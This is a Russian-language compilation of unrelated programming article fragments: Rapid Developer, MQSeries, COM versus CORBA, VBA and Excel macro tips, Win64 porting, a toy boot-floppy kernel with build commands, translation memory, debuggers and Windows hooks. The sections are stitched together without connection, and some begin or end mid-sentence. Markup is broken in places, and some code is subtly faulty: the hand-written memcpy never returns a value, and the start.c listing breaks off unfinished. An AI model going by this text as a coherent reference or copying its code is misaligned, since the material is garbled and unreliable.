    Описывать процесс инсталляции указанных продуктов - не тема данной статьи. Все это достаточно хорошо изложено в их документации. Наша задача - получить общее представление о Rapid Developer и некоторую пищу для размышлений, насколько данный продукт может быть полезен при ведении проектов по разработке J2EE приложений.


    Передача сообщений в распределенной системе

    Пользовательские приложения не обязаны "знать" внутреннюю структуру системы менеджеров MQSeries: адрес физического размещения очереди, типы коммуникаций между менеджерами очередей и т.п. Приложение, обращаясь к менеджеру очередей, всегда получает доступ только к локальным очередям сообщений. Когда приложение посылает сообщение в очередь, расположенную на удаленной системе, то сообщение для надежности записывается в специальную транспортную очередь (transmission queue), а уже затем переправляется по каналу передачи другому менеджеру на удаленную систему. На рис. 1 показаны основные элементы, участвующие в передаче сообщения - от приложения к менеджеру очередей A и затем в удаленную очередь на менеджере очередей B. Рис. 1. Порядок передачи сообщений

    Переход в трехзвенную архитектуру при помощи Baikonur Web App Server.

    В случае применения Baikonur Web App Server между клиентом и сервером появляется дополнительное звено - сервер приложений. Теперь приложения, изготовленные при помощи средства скоростной разработки (например, Delphi), работают не на клиентской стороне, а под управлением сервера приложений Baikonur. В зависимости от необходимого количества одновременно работающих клиентов, таких серверов может быть несколько. SQL сервер может работать либо на той же машине, где находится сервер приложений, либо быть выделенным в отдельный физический сервер. В случае SQL сервера от компании Borland это может быть даже сервер с другой операционной системой, например, какой-нибудь из наиболее удачных UNIX (Solaris, AIX, HP/UX, Digital UNIX, IRIX). Собственно клиентское место представляет из себя теперь компьютер с достаточно произвольно выбираемой конфигурацией и операционной системой. Это может быть и Win 3.11, и Macintosh, и UNIX, и OS/2, и Win NT др... Клиентское место может находиться в сети (стек TCP/IP) или связываться с сервером Baikonur через прямое модемное соединение, через провайдера Internet или по специализированной выделенной линии. На каждом клиентском рабочем месте устанавливается либо Internet-браузер общего назначения, либо специализированный браузер. При помощи таких браузеров пользователь устанавливает соединение с Web-сервером, запускает одно или несколько приложений на сервере (визуально спроектированных в Delphi), может переключаться между ними, не теряя контекста, может получать оперативную информацию и т.д. Переход в трехзвенную архитектуру при помощи Baikonur Web App Server. Рисунок 2. Трехзвенная архитектура Internet/Intranet.

    Перекуем мячи на пули

    Теперь превратим мячик в пулю, придав ему новый алгоритм поведения. Для этого введем в конструктор мячика параметр - адрес таблицы переходов. Отметьте, кстати, что мы меняем алгоритм работы объекта, не меняя его методов, - прием, почти невозможный в обычном программировании. Кроме того, как объекту некоторого контейнера библиотеки STL, классу необходимо добавить перегруженные операторы ==, !=, > и <. Для связи со стрелком введены ссылка и метод, позволяющий ее установить. Анализ внутреннего состояния стрелка, к которому "прикреплена" пуля, при наступлении состояния "Выстрел" выполняет предикат x1. Предикат x2 определяет условие достижения пулей границы окна. Действие y4 введено для установки пули в исходную позицию в окне отображения. Метод SetCenter помещает бывший мячик (ныне - пулю) в заданную точку, а метод SetMove задает шаг перемещения по координатным осям (см. листинг 3). В начальном состоянии st пуля ожидает события "Выстрел". Когда оно происходит, пуля вылетает и переходит в состояние b1. В этом состоянии она пребывает до тех пор, пока не достигнет границы окна, а затем возвращается в состояние st и ждет следующего выстрела (эдакая пуля-бумеранг).

    Перемещение, копирование и удаление файлов

    FSO имеет два метода для перемещения, копирования и удаления файлов:
    ЗадачаМетод
    Переместить файлFile.Move или FileSystemObject.MoveFile
    Скопировать файлFile.Copy или FileSystemObject.CopyFile
    Удалить файлFile.Delete или FileSystemObject.DeleteFile
    Следующий пример создает текстовый файл в корневой директории дисковода с:, пишет в него некоторую информацию, перемещает его в каталог, называемый \tmp, затем копирует его в каталог, называемый \temp и, наконец, удаляет копии из обоих каталогов. Чтобы этот пример корректно сработал, удостоверьтесь, что на диске c: в корневой папке существуют каталоги \tmp и \temp. (Для упрощения примера в него не встроена проверка этого условия. В реальной программе, конечно, необходимо сначала убедиться в существовании целевой папки и при ее отсутствии создать.) Sub Manip_Files() Dim fso As New FileSystemObject, txtfile, fil1, fil2 Set txtfile = fso.CreateTextFile("c:\testfile.txt", True) MsgBox "Writing file" txtfile.Write ("This is a test.") txtfile.Close MsgBox "Moving file to c:\tmp" ' Код обработки файла в корне C:\ Set fil1 = fso.GetFile("c:\testfile.txt") ' Перемещаем файл в директорию \tmp fil1.Move ("c:\tmp\testfile.txt") MsgBox " Копируем файл в c:\temp" ' Копируем файл в \temp fil1.Copy ("c:\temp\testfile.txt") MsgBox "Удаляем файлы" ' Код получения текущих дерикторий файлов Set fil1 = fso.GetFile("c:\tmp\testfile.txt") Set fil2 = fso.GetFile("c:\temp\testfile.txt") ' Удаляем дайлы fil1.Delete fil2.Delete MsgBox "Все!" End Sub © Copyright 2000, .

    я рассказал обо всех программных

    Итак, я рассказал обо всех программных средствах, предоставляемых Win64. Пора разобраться, как применить эти знания. В общем виде алгоритм перевода кода Win32 на 64-разрядную платформу выглядит так:
  • замена "старых" типов новыми в тех случаях, когда это необходимо;
  • замена всех 32-разрядных указателей на 64-разрядные;
  • замена всех API-функций Win32 их 64-разрядными эквивалентами. Для создания кросс-платформенных приложений (это предпочтительней первого варианта) необходимо:
  • воспользоваться макросами, определяющими платформу;
  • заменить все 32-разрядные типы данных их интегральными эквивалентами; <>li>заменить все указатели на 64-разрядные;
  • заменить API-функции Win32 их интегральными эквивалентами. К сожалению, пока не существует программ, которые могли бы помочь это сделать. Поэтому все изменения нужно делать самим. Единственным помощником в данном случае является 64-разрядный компилятор: в частности, его режим предупреждений (warnings), касающийся 64-разрядного кода. Для того чтобы включить эти предупреждения, нужно воспользоваться параметром компилятора-Wp64-W3. Он сделает активными следующие предупреждения:
  • C4305 - предупреждение о преобразовании типов. Например, "return": truncation from "unsigned int64" to "long";
  • C4311 - предупреждение о преобразовании типов. Например, "type cast": pointer truncation from "int*_ptr64" to "int";
  • C4312 - преобразование до большего размера (bigger-size). Например, "type cast": conversion from "int" to "int*_ptr64" of greater size;
  • C4318 - использование нулевой длины (Passing zero length). Например, passing constant zero as the length to the memset function;
  • C4319 - нет оператора (Not operator). Например, "~": zero extending "unsigned long" to "unsigned _int64" of greater size;
  • C4313 - вызов функций, входящих в printf-семейство, с конфликтным преобразованием типов в спецификаторах и аргументах. Например, "printf": "%p" in format string conflicts with argument 2 of type "_int64." Или, например, вызов функции printf("%x", pointer_value) потребует преобразования верхних 32 разрядов. Правильный вызов: printf("%p", pointer_value);
  • C4244 - то же, что и C4242. Например, "return": conversion from "_int64" to "unsigned int," possible loss of data. Для преобразования кода в 64-разрядный нужно исправить все строки кода, на которые укажет компилятор. Некоторые советы приведены в таблице ниже.

    Первые вздохи ядра (head.S)

    Ядро к сожалению опять начнется с ассемблерного кода. Но теперь его будет совсем немного. Мы собственно зададим правильные значения сегментов для данных (ES, DS, FS, GS). Записав туда значение соответствующего дескриптора данных. cld cli movl $(__KERNEL_DS),%eax movl %ax,%ds movl %ax,%es movl %ax,%fs movl %ax,%gs Проверим, нормально ли включилась адресная линия A20 простым тестом записи. Обнулим для чистоты эксперимента регистр флагов. xorl %eax,%eax 1: incl %eax movl %eax,0x000000 cmpl %eax,0x100000 je 1b pushl $0 popfl Вызовем долгожданную функцию, уже написанную на С. call SYMBOL_NAME(start_my_kernel) И больше нам тут делать нечего. inf: jmp inf

    Platform Builder

    Подготовка программ для Windows CE - только одна сторона работы с этой операционной системой. Известно, что версии Windows для настольных машин можно переносить на другие совместимые ПК, однако права на поставку комплектов инструментов, необходимых для этих целей, принадлежат компании Microsoft и ее уполномоченным OEM-партнерам. Напротив, аналогичный набор Platform Builder для Windows CE, несмотря на его дороговизну, распространяется через розничные каналы. Таким образом, разработчики программ для Windows CE могут не только составлять программы, но и подготавливать различные версии самой операционной системы. В состав Platform Builder входят тексты образцов программ для слоя абстракции OEM (OEM abstraction layer, OAL), который представляет собой слой программ, разработанных производителем оборудования для адаптации Windows CE к конкретной аппаратуре. OAL содержит ПО слоя аппаратной абстракции (Hardware Abstraction Layer, HAL), предназначенное для обслуживания ядра Windows CE, а также драйверы для встроенных аппаратных компонентов, например клавиатуры, сенсорного экрана и дисплея. Кроме того, имеются тексты программ для образцов драйверов аудиоустройств и последовательного порта, а также драйвера контроллера PCMCIA. Комплект Platform Builder предусматривает и средства низкоуровневой отладки. Эти инструменты предназначены прежде всего для содействия в переносе Windows CE на новые аппаратные платформы, но они вполне пригодны и для диагностирования трудноустранимых проблем прикладного ПО. В новейших версиях Windows CE есть специальные программные процедуры для работы со встроенным профилировщиком Монте-Карло - весьма удобным средством оптимизации производительности программ. Наконец, Platform Builder сопровождает обширная, с точки зрения производителя оборудования, документация по эксплуатации Windows CE. Программирование в среде Windows CE - занятие довольно интересное. Интерфейс API Win32 придает этому процессу сходство с программированием для Windows 98 или NT, однако при разработке программ приходится учитывать аппаратные ограничения. Менее быстродействующие ЦП и ограниченный объем памяти большинства Windows CE-устройств заставляют тщательно продумывать подходы к программированию, чтобы повысить эффективность своих творений. На самом деле довольно забавно в наше время, т. е. в эпоху многомегабайтных программ для ПК, увидеть программистов, всерьез озабоченных быстродействием ЦП и объемами программ.

    Подавление "горячих" клавиш.

    Q:Как подавить доступ по "горячим" клавишам, имеется ввиду  предопределенные в Excel клавиши типа Ctrl-O и т.д.?

    A:Вот  малюсенький исходник на Excel VB, который решает такую проблему. :-) Public Sub Auto_Open()
    ' Overrride standard accelerators
      With Application
        .OnKey "^o", "Dummy"
        .OnKey "^s", "NewAction"
        .OnKey "^р", ""             ' Kill hotkey !
      End With
    End Sub ' -----
    Public Sub Dummy()
       MsgBox "This hotkey redefined!"
    End Sub ' -----
    Public Sub NewAction()
      SendKeys "^n"   ' Press + for create new file
                      ' instead of + !
    End Sub  Hint: Отлажено в MS Excel '97 !  

    Поддержка многоязыковых приложений

    Объект Flora/C+ класса < константа > может иметь несколько значений. На основе этого свойства возможна разработка приложений с несколькими языковыми интерфейсами. Flora/C+ сама является таким многоязыковым приложением, поддерживающим в настоящее время два европейских языка : английский и русский и открыта для расширений.

    Поддержка операционных систем, предлагаемые службы и масштабируемость

    Помимо механизмов интеграции объектов, СОМ и CORBA предоставляют набор предопределенных объектных служб общего значения, без реализации которых, как правило, не обходится ни одна прикладная среда. Перечень и назначение одноименных служб в двух объектных архитектурах не идентичны. В СОМ предусмотрены такие общие службы, как защита (security), управление жизненным циклом (lifecycle managemеnt), информация о типах (type information), именование (naming), доступ к базам данных (database access), передача данных (data transfer), регистрация (registry) и асинхронное взаимодействие. В CORBA информация о типах и регистрация входят в число базовых функций брокера объектных запросов ORB. Служба именования в CORBA - это каталог, в котором заданы соответствия между объектами и их именами. В СОМ под именованием подразумевается схема преобразования имен в указатели на объект с помощью механизма moniker. В СОМ службы защиты, регистрации, именования и информации о типах непосредственно включены в объектную модель. Ряд объектных служб реализованы в MTS, который создает на базе архитектуры СОМ многофункциональную среду времени выполнения для реализации компонентных прикладных систем, предоставляя разработчикам возможность декларировать требования к объектам, а не заниматься непосредственным программированием. MTS реализует такие службы, как гарантированное выполнение транзакций, контроль за разделяемым доступом к ресурсам, управление жизненным циклом экземпляров объектов, управление сеансами баз данных и защита. СОМ+ полностью интегрирует MTS. Механизм вызова удаленной процедуры обеспечивает синхронное взаимодействие клиента и сервера, но для многих распределенных приложений могут потребоваться и неблокирующие, асинхронные взаимодействия между компонентами. Эту задачу решает сервер очередей сообщений Microsoft Message Queuing (MSMQ), который обеспечивает гарантированную, асинхронную доставку сообщений при помощи механизма очередей. MSMQ доступен как в рамках СОМ, так и независимо, при помощи API-интерфейсов. Службы СОМ и серверы MTS и MSMQ реализованы на платформах Windows 95 и Windows NT и тесно интегрированы со службами самих этих операционных систем.
    Подобная интеграция нацелена на создание на базе Windows гибкой и надежной среды разработки и исполнения объектно-ориентированных систем. Microsoft стремится сделать свою платформу максимально привлекательной для разработчиков приложений, но проявляет и определенную заботу об интеграции с унаследованными системами. Для этих целей существуют, например, средства OLE DB for AS/400, СОМ Transaction Integrator для CICS и IMS, предоставляющий доступ к системам оперативной обработки транзакций IBM, сервер Microsoft SNA. Следуя общим принципам архитектуры CORBA, интерфейсы ее объектных служб (спецификация CORBAservices) написаны на IDL. Определено 15 общих служб CORBA: именования (naming); событий (events); жизненного цикла (life cycle); долговременного хранения объектов (persistent); транзакций (transactions); контроля за доступом к разделяемым ресурсам (concurrency control); отношений (relationsips); импорта/экспорта (externalization); запросов (query); лицензирования (licensing); свойств (property); времени (time); защиты (security); переговоров между объектами (object trader); сбора объектов (object collections). Объектные службы CORBA следуют строгой согласованной модели. Наиболее значимые из них присутствуют по крайней мере в одной из многочисленных реализаций архитектуры. К самым распространенным относятся службы именования, управления жизненным циклом и событиями, которые были первыми из принятых OMG. Более поздние предложения OMG, например, служба транзакций, пока имеют более ограниченный спектр реализаций. Наименее успешными оказались реализации службы долговременного хранения, и ее спецификация будет заменена в CORBA 3.0 на новую - Persistent State Service (PSS). В этой версии появятся также новая служба именования Interoperable Naming Service для прозрачного поиска и вызова объектов, не зависящего от конкретной реализации ORB, и служба асинхронного обмена сообщениями Asynchronous Messaging. До 1998 года реализации СОМ ограничивались NT и Windows 95. Сейчас Microsoft, как кажется, начинает поворачиваться лицом и к другим операционным системам.


    Правда, поначалу политика корпорации состояла в том, чтобы привлекать третьи фирмы к реализации СОМ на других платформах. Так, версия СОМ для Sun Solaris была разработана компанией Software AG. О своих намерениях перенести СОМ на платформу OpenVMS объявила Compaq. Однако, судя по последним заявлениям, Microsoft намерена в дальнейшем собственными силами решать проблемы переноса СОМ. Мы уже упоминали об ограничениях языковой поддержки в СОМ. Новый вариант объектной модели, СОМ+, помимо реализации множественного наследования интерфейсов и новых возможностей времени выполнения, обещает предоставить языковые расширения, призванные упростить разработку компонентов СОМ на языках Java, Visual Basic и Visual C++. Правда, в отличие от CORBA, где трансляция описаний на IDL в конкретный язык осуществляется наиболее естественным для этого языка способом и не требует никаких его модификаций, в СОМ+ будут включены средства настройки языка для поддержки компонентов СОМ. Если Visual Basic тесно привязан к операционным системам Microsоft, то Java по сути своей - многоплатформенный язык. В виртуальную Java-машину от Microsоft были добавлены средства поддержки СОМ. Благодаря этому объекты на Java без проблем отображаются в СОМ - но только при использовании Microsоft JVM. Чтобы преодолеть это ограничение, Microsоft надо либо реализовать виртуальные Java-машины для других платформ, либо обеспечить поддержку СОМ в Java, минуя JVM. В CORBA изначально была заложена многоплатформенность и поддержка множества популярных языков программирования без необходимости каких-либо изменений в них. Поэтому реализации CORBA могут использоваться с произвольными компилятором, средствами разработки и операционной системой. По существу, объектный брокер запросов реализуется на большем числе платформ Microsoft, чем сама СОМ, включая Windows 3.1, Windows 95, Windows NT 3.5, Windows 4.0 и DOS. Cтандартно поддерживается значительный диапазон языков. Отображения объектов CORBA в другие языки, например, в тот же Visual Basic, пока не являются стандартными возможностями данной архитектуры, но наличествуют в некоторых реализациях. Отображения CORBA-интерфейсов в Java не требуют никаких изменений от виртуальной Java-машины.


    Реализации компаний Iona, Sun и Visigenic предлагают службы CORBA времени выполнения, написанные на Java. Это означает, что в браузер можно загрузить апплет Java, который сможет обращаться к серверу CORBA без предварительной установки средств поддержки CORBA. Зрелость и разнообразие объектных служб общего назначения, которые позволяют создать реально работающую объектную систему, и спектр поддерживаемых платформ - ключевые факторы при оценке масштабируемости объектной архитектуры. А масштабируемость - ключевая характеристика корпоративной системы. Обе модели предлагают широкий спектр общих служб, однако, СОМ, как и все детища Microsoft, не может похвастаться реальной многоплатформенностью. Это серьезный изъян для системы, которая претендует на роль фундамента для распределенных приложений в крупных организациях. Корпоративная система может охватывать тысячи пользователей, хранить терабайты данных и выполнять десятки тысяч транзакций в день. Для этого понадобятся и клиентские настольные системы, и серверы данных, и серверы приложений, и интеграция с унаследованными приложениями на мэйнфреймах. Поэтому в борьбе за крупных заказчиков не ограниченная в выборе операционных систем архитектура CORBA имеет определенные преимущества перед СОМ.

    Подготовка загрузочного образа (floppy.img)

    Итак, подготовим загрузочный образ нашей системки. Для начала соберем загрузочный сектор. as86 -0 -a -o boot.o boot.S ld86 -0 -s -o boot.img boot.o Обрежем 32 битный заголовок и получим таким образом чистый двоичный код. dd if=boot.img of=boot.bin bs=32 skip=1 Соберем ядро gcc -traditional -c head.S -o head.o gcc -O2 -DSTDC_HEADERS -c start.c При компоновке НЕ ЗАБУДБЬТЕ параметр "-T" он указывает относительно которого смещения вести расчеты, в нашем случае поскольку ядро грузится по адресy 0x1000, то и смещение соотетствующее ld -m elf_i386 -Ttext 0x1000 -e startup_32 head.o start.o -o head.img Очистим зерна от плевел, то есть чистый двоичный код от всеческих служебных заголовков и комментариев objcopy -O binary -R .note -R .comment -S head.img head.bin И соединяем воедино загрузочный сектор и ядро cat boot.bin head.bin >floppy.img Образ готов. Записываем на дискетку (заготовьте несколько для экспериментов, я прикончил три штуки) перезагружаем компьютер и наслаждаемся. cat floppy.img >/dev/fd0

    Подсчет комментариев на рабочем листе

    Q:  Как узнать есть ли хоть один Notes (комментарий) в рабочем листе,  кроме как перебором по всем ячейкам? . Без этого  не работает: A:  В Excel'97 эта проблема может быть решена вот как:  ' Function IsCommentsPresent
     ' Возвращает TRUE, если на активном рабочем листе имеется хотя бы
     ' одна ячейка с комментарием, иначе возвращает FALSE
     '
     Public Function IsCommentsPresent() As Boolean
       IsCommentsPresent = ( ActiveSheet.Comments.Count <> 0 )
     End Function

    Подсистема формирования тем и стилей

    Данная подсистема позволяет работать с библиотекой тем и стилей. Можно использовать существующие темы и стили, а можно создавать собственные. Не существует никаких ограничений на количество создаваемых тем и стилей.
    Архитектор тем позволяет динамически создавать или изменять темы для страниц. Тема в Rapid Developer определяет наборы цветов, шрифтов и вспомогательных картинок, которые применяются к целым страницам или наборам страниц сайта. Применение темы к разрабатываемому сайту в динамическом режиме позволяет быстро и наглядно определить наиболее подходящее представление для него.
    Репозиторий стилей дает возможность разработчику определить наборы шаблонов стилей, которые могут быть применены к различным графическим элементам интерфейса. Результат - значительное ускорение разработки эргономичных Web-страниц.
    Главный принцип - создал один раз, используй много раз!


    Подсистема определения бизнес-правил

    Rapid Developer позволяет определить различные бизнес-правила для разрабатываемой информационной системы. Эти правила выявляются бизнес-аналитиками. Наиболее общими примерами бизнес-правил являются:
  • Определение начальных значений для атрибутов классов.
  • Определение наследуемых значений атрибутов, на которые влияют одно или сразу несколько значений других атрибутов.
  • Определение валидности значений атрибутов классов (минимумы, максимумы, диапазоны значений и т.д.).

  • Бизнес-правила определяются либо в окне свойств класса для конкретного атрибута (вкладка "Attribute" и далее - "Business Rules"), либо в Архитекторе логики (вкладка "Classes" дерева объектов в левом фрейме).


    Подсказки к Toolbar (Excel'95)

    Q: Как сделать  свой собственный Toolbar с tooltip’ами на кнопках в Excel’95? A: Вот фрагмент кода для Excel'95, который создаёт toolbar с одной кнопкой с  пользовательским tooltiр'ом. Нажатие кнопки приводит к выполнению макроса NothingToDo() . '
    ' This example creates a new toolbar, adds the Camera button
    ' (button index number 228) to it, and then displays the new toolbar.
    '
    Public Sub CreateMyToolBar()
    Dim myNewToolbar As Toolbar
    On Error GoTo errHandle:   Set myNewToolbar = Toolbars.Add(Name:="My New Toolbar")
      With myNewToolbar
        .ToolbarButtons.Add Button:=228, StatusBar:="Statusbar help string"
        .Visible = True
        With .ToolbarButtons(1)
          .OnAction = "NothingToDo"
         .Name = "My custom tooltiр text!"
        End With
      End With
    Exit Sub
    errНandle:
      MsgBox "Error number " & Err & ": " & Error(Err)
    End Sub '
    ' Toolbar button on action code
    '
    Рublic Sub NothingToDo()
      MsgBox "Nothing to do!", vbInformation, "Macro running"
    End Sub Нint: В Excel'97 этот код тоже работает!

    Подсказки к Toolbar

    Q: Как сделать к «само нарисованным» кнопочкам на Toolbar’е подсказки? (Ну, те, что после 2-х секунд молчания мышки появляются) A:  Сделать можно вот как: (Пример реализации на Excel’97 VBA ) ' Cоздаем тулбар
    Рublic Sub InitToolBar()
    Dim cmdbarSM As CommandBar
    Dim ctlNewBtn As CommandBarButton   Set cmdbarSM = CommandBars.Add(Name:="MyToolBar",
    Position:=msoBarFloating, _
    temporary:=True)
      With cmdbarSM
        ' 1) Добавляем кнопку
        Set ctlNewBtn = .Controls.Add(Type:=msoControlButton)
        With ctlNewBtn
         . FaceId = 26
          .OnAction = "OnButton1_Click"
         .TooltipText = "My tooltip message!"
        End With
        ' 2) Добавляем ещё кнопку
        Set ctlNewBtn = .Controls.Add(Type:=msoControlButton)
        With ctlNewBtn
          .FaceId = 44
          .OnAction = "OnButton2_Click"
         .TooltipText = "Another tooltip message!"
        End With
        .Visible = True
      End With
    End Sub  Hint: На VBA для Excel'95 это делается несколько иначе!


    Подведение итогов

    Приложения с поддержкой сценариев обеспечивают гибкость и выгоду для отделов поддержки и конечных пользователей, а также освобождают разработчиков от многочисленных функциональных вариаций. QSA предоставляет в распоряжение программистов сценариев все возможности Qt. Библиотека QSA представляет собой готовое решение для включения его разработчиками в свои приложения. Она содержит интерпретатор языка сценариев и QSA Designer, мощную интегрированную среду разработки, предназначенную для создания, редактирования, выполнения и отладки сценариев конечными пользователями. QSA позволяет легко добавить в приложения поддержку сценариев. Если вы хотите узнать больше о QSA, пишите .

    Поговорим на языке высокого уровня (start.c)

    Вот теперь мы вернулись к тому с чего начинали рассказ. Почти вернулись, потому что printf() теперь надо делать вручную. поскольку готовых прерываний уже нет, то будем использовать прямую запись в видеопамять. Для любопытных - почти весь код этой части , с незначительными изменениями, повзаимствован из части ядра Linux, осуществляющей распаковку (/arch/i386/boot/compressed/*). Для сборки вам потребуется дополнительно определить такие макросы как inb(), outb(), inb_p(), outb_p(). Готовые определения проще всего одолжить из любой версии Linux. Теперь, дабы не путаться со встроенными в glibc функциями, отменим их определение #undef memcpy Зададим несколько своих static void puts(const char *); static char *vidmem = (char *)0xb8000; /*адрес видеопамати*/ static int vidport; /*видеопорт*/ static int lines, cols; /*количество линий и строк на экран*/ static int curr_x,curr_y; /*текущее положение курсора */ И начнем, наконец, писать код на языке высокого уровня... правда с небольшими ассемблерными вставками. /*функция перевода курсора в положение (x,y). Работа ведется через ввод/вывод в видеопорт*/ void gotoxy(int x, int y) { int pos; pos = (x + cols * y) * 2; outb_p(14, vidport); outb_p(0xff & (pos >> 9), vidport+1); outb_p(15, vidport); outb_p(0xff & (pos >> 1), vidport+1); } /*функция прокручивания экрана. Работает, используя прямую запись в видеопамять*/ static void scroll() { int i; memcpy ( vidmem, vidmem + cols * 2, ( lines - 1 ) * cols * 2 ); for ( i = ( lines - 1 ) * cols * 2; i < lines * cols * 2; i += 2 ) vidmem[i] = ' '; } /*функция вывода строки на экран*/ static void puts(const char *s) { int x,y; char c; x = curr_x; y = curr_y; while ( ( c = *s++ ) != '\0' ) { if ( c == '\n' ) { x = 0; if ( ++y >= lines ) { scroll(); y--; } } else { vidmem [ ( x + cols * y ) * 2 ] = c; if ( ++x >= cols ) { x = 0; if ( ++y >= lines ) { scroll(); y--; } } } } gotoxy(x,y); } /*функция копирования из одной области памяти в другую. Заместитель стандартной функции glibc */ void* memcpy(void* __dest, __const void* __src, unsigned int __n) { int i; char *d = (char *)__dest, *s = (char *)__src; for (i=0;i<__n;i++) d[i] = s[i]; } /*функция издающая долгий и протяжных звук.

    Поиск и добавление

    До тех пор, пока память переводов была линейной, сегменты неделимыми, а сравнение строгим, решение задачи поиска сводилось к введению отношения строгого лексикографического порядка над множеством сегментов на исходном языке. Иными словами, определялся оператор "меньше", на основе которого можно было осуществить обыкновенный двоичный поиск, и проверку на равенство. С введением оператора "нечеткого совпадения", который позволял оценить степень сходства для любых двух сегментов, решение проблемы поиска резко усложнилось и, без дополнительных ухищрений с различного рода индексацией, стало эквивалентно задаче полного перебора. Предложенная многоуровневая модель памяти переводов, собственно, и предоставляет некоторый механизм неявной индексации: каждое входящее в сегмент слово, по сути, идентифицирует некоторое подмножество ориентированного графа памяти переводов, состоящее из узлов, которые можно достичь, начав обход от узла, соответствующего выбранному слову. Используя особенности выбранной структуры памяти переводов, задачу поиска сегментов, похожих на заданный, можно решить путем выполнения следующих действий (рис. 4):
  • разбить заданный сегмент на слова;
  • найти в памяти переводов все узлы, соответствующие этим словам;
  • спускаясь по графу отношений наследования, помещать в список найденных сегментов все встречаемые узлы. Поиск и добавление Рис. 4 Резонным представляется вопрос о том, в каком порядке следует предоставлять найденные сегменты переводчику: ведь приведенная процедура поиска выберет из памяти все сегменты, пересекающиеся с заданным по крайней мере по одному слову. Каковы правила фильтрации и сортировки найденных сегментов? Ответ на этот вопрос лежит за пределами выбранного формализма, однако в этом нет ничего страшного. Дело в том, что результат поиска представляет собой классический вариант одноуровневой памяти переводов, анализ которого может быть произведена методами, формализованными в рамках существующих сред перевода. Для обеспечения эффективности поиска целесообразно осуществлять оценку "пригодности" сегментов по мере их нахождения.
    Например, если некоторый сегмент полностью совпадает с эталоном, то все его потомки в графе могут быть автоматически исключены из поиска. Теперь поговорим о задаче добавления нового сегмента в память переводов. Очевидным условием корректности процедуры добавления является обеспечение успешного поиска. Стало быть, добавляемый сегмент должен иметь в числе своих предков (не обязательно прямых) все составляющие его слова. Следуя целям оптимальности, можно заключить, что среди предков должны присутствовать также узлы графа, содержащие фрагменты данного сегмента. Иными словами, если в памяти переводов присутствуют сегменты "AB" и "CD", то сегмент "ABCD" должен стать наследником этих двух сегментов. Аналогично, если в памяти присутствует сегмент "ABCD", то добавляемый сегмент "AB" должен стать его предком. В общем случае при добавлении сегмента в граф памяти переводов могут существовать альтернативные варианты наследования. В такой ситуации схема добавления заметно усложнится. В любом случае, проблема построения оптимальной иерархии классов решается в рамках объектно-ориентированного подхода, поэтому мы не будем заострять здесь на ней внимание.

    Поиск языковых пар в памяти переводов

    Автоматическая память переводов, или просто память переводов (TranslationMemory), подразумевает, в первую очередь, просмотр ранее переведенных текстов. Она сравнивает переводимый в текущий момент текст с тем, что хранится в базе, "вспоминает" сегменты, которые изменились незначительно, и предлагает использовать их перевод повторно. Разумеется, критерии сходства сегментов могут быть различны, и они играют очень важную роль в расширении возможностей памяти переводов.

    Пользовательский интерфейс

    Помимо получения необходимой информации отладчик должен предоставить ее в удобном для пользователя виде. Для этого служат интерфейсные команды и функции. Интерфейс отладчика состоит из:
  • графического интерфейса;
  • режима комадной строки;
  • команд представления данных. 1) Графический интерфейс Основное требование, предъявляемое к графическому интерфейсу активного отладчика - одновременная визуализация информации об отлаживаемой задаче (например, окно исходного текста, диалоговое окно, окно отображения данных и сообщений). При отладке группы задач, необходимо отображать полную информацию о каждой из них, как это реализовано в X-ray. 2) Режим командной строки В режиме командной строки отладчик должен предоставлять пользователю возможность редактировать вводимые команды, а также поддерживать хранение ранее введенных команд в некотором буфере с целью их последующего вызова и модификации. 3) Команды представления данных Приведем некоторые способы представления и хранения данных, реализация которых в значительной степени упрощает работу пользователя:
  • История значений. Хранение ранее отображенных значений позволяет следить за изменением инспектируемого выражения. Значения могут храниться в некотором буфере или файле.
  • Внутренний язык отладчика. Внутренний язык - средство, дающее возможность пользователю определять собственные функции. Кроме этого отладчик может обладать встроенным интерпретатором какого-нибудь известного языка сценариев. Например, VxGDB обладает встроенным TCL-интерпретатором, позволяющим не только определять новые функции обработки данных, но и (при поддержке с целевой стороны) эмулировать ряд функций VxWorks.
  • Поддержка разных форматов представления данных. Уже упоминавшиеся средства отладки (VxGDB, X-Ray) предоставляют возможность вывода интересующего значения в любом числовом или символьном формате. Кроме того, в них имеется поддержка сложных элементов языка, таких как массивы или структуры.
  • Поддержка нескольких языков. Если программа собрана из модулей, написанных на разных языках программирования, то для ее полноценной отладки необходима поддержка всех этих языков. Кроме того, VxGDB поддерживает синтаксис основных языков программирования (C, fortran) для своего внутреннего языка, обеспечивая автоматическую его смену при выполнении функции, реализованной на языке, отличном от текущего.
  • Регулярное отображение данных. При отладке может потребоваться просмотр некоторых данных (или выполнение команд) при каждой остановке задачи. GDB в данном случае предоставляет следующие возможности:
  • Команда display. После остановки выполнения задачи (но не в случае, когда она завершилась) производится отображение данных, заданных в качестве аргументов этой команды.
  • Команда commands привязывает к точке прерывания, номер которой задан в качестве аргумента, набор действий, которые нужно реализовать отладчику при достижении этой точки прерывания.
    При анализе данных или профилировании важную роль играет представление полученной информации. Как и в случае активной отладки пользовательский интерфейс делится на три составляющих: графический интерфейс, режим командной строки и команды представления данных. Графическое представление данных - наиболее важная часть пользовательского интерфейса при мониторинге. Поскольку, как правило, анализируется взаимодействие задач в системе, то нужна визуализация всех событий и задач системы. В WindView для этого служит специальное окно View Graph. По горизонтали откладывается время (единичный интервал времени может меняться), по вертикали приведен список всех задач в системе и уровни прерываний. В такой системе координат легко увидеть, какая задача в какой момент времени в каком состоянии находилась. Особыми значками отмечаются происходящие события, подробности о которых (также как и о задачах) можно увидеть в другом окне. При мониторинге текущего состояния системы удобно пользоваться графическим интерфейсом, но при анализе сохраненных ранее данных, а также при "посмертной" отладке, можно использовать режим командной строки. Требования к нему предъявляются аналогичные тем, что были у средств активной отладки. Помимо описанных в предыдущей главе команд представления данных у активных отладчиков средства мониторинга могут располагать также такими командами:
  • исполнение некоторой последовательности действий при произошедшем событии, поступившем сигнале или наступлении определенного момента времени;
  • определение пользователем собственных событий (eventpoints в WindView) и сигналов (комбинации известных сигналов "derived signals" в StethoScope).

    Понятие ловушки.

    Ловушка (hook) - это механизм, который позволяет производить мониторинг сообщений системы и обрабатывать их до того как они достигнут целевой оконной процедуры. Для обработки сообщений пишется специальная функция (Hook Procedure). Для начала срабатывания ловушки эту функцию следует специальным образом "подключить" к системе. Если надо отслеживать сообщения всех потоков, а не только текущего, то ловушка должна быть глобальной. В этом случае функция ловушки должна находиться в DLL. Таким образом, задача разбивается на две части:
  • Написание DLL c функциями ловушки (их будет две: одна для клавиатуры, другая для мыши).
  • Написание приложения, которое установит ловушку.

    Портируем 32-разрядный код

